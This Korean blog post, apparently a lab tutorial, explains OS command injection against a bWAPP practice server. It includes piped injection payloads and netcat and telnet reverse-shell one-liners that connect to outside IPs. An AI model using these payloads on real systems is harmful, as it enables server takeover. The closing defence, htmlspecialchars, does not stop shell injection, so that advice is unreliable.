OS 커맨드 인젝션


OS 커맨드 인젝션 

취약한 변수로 시스템 명령어를 주입하여 서버 운영체제에 접근하는 공격이다.

보통 웹 페이지에서 서버의 시스템 셰을 호출할 때 관리자가 의도한 명령어가 아닌 다른 명령어를 주입하여 서버 정보를 알아낸다.


위 사이트를 살펴 보면 DNS 주소를 출력한다. DNS를 조회하는 시스템 명령어인 nslookup 을 사용한다


디렉토리를 확인하는 명령어 ls 를 검색해보면

|ls ../../../

서버 시스템의 가장 상위에 있는 디렉터리 정보를 출력한다


OS 커맨드 인젝션에 넷캣 명령어를 입력하면 비박스의 서버 정보를 외부에서 파악할수 있다


| nc 192.168.80.128 666 -e /bin/bash


sleep 1000 | telnet 192.168.43.22 5555 | /bin/sh | telnet 192.168.4.22 6666


칼리 리눅스에서 nc설정을 켜두고 기다리면 넷캣을 실행한 터미널에 명렁어로르 입력하면 서버 정보를 확인 할 수 있다 



netcat 정의:

백도어 쉘:NC로 특정 포트를 listening 상태로 열어놓고, 해당 포트로 들어오는 사용자에게 특정 권한 을 부여하는 것이 가능하다.


리버스 쉘

A 시스템이 NC로 특정 포트를 listening 상태로 열어놓고 있는 경우 B 시스템이 해당 포트로 접속하여 A 시스템에게 자신의 권한을 부여하는 방식


Kali : nc -lvp <열어둘 포트번호>

XP : nc <권한을 부여해줄 장비의 IP주소> <포트번호> -e cmd.exe



대응방안

htmlspecialchars함수로 입력값을 우회한다.

htmlspecialchars함수는 php에서 제공하는 기본 함수로,HTML에서 사용하는 특수문자를 UTF-8로 변환한다

htmlspecialchars에서 반환하는 특수문자는 &,",',<,> 이다

따라서 htmlspecialchars 함수를 사용하여 태그에 사용되는 문자들을 인식하지 않게 인코딩하면 대응방안으로 사용할수있다



'OWASP top 10 ' 카테고리의 다른 글

[A1] SSI 코드 인젝션  (0) 2017.12.02
[A1] PHP 코드 인젝션  (0) 2017.12.02
[A1] iframe 인젝션  (0) 2017.12.02
[A1] HTML 인젝션  (0) 2017.12.02
[OWASP] 비박스 환경 구성하기  (0) 2017.12.01

+ Recent posts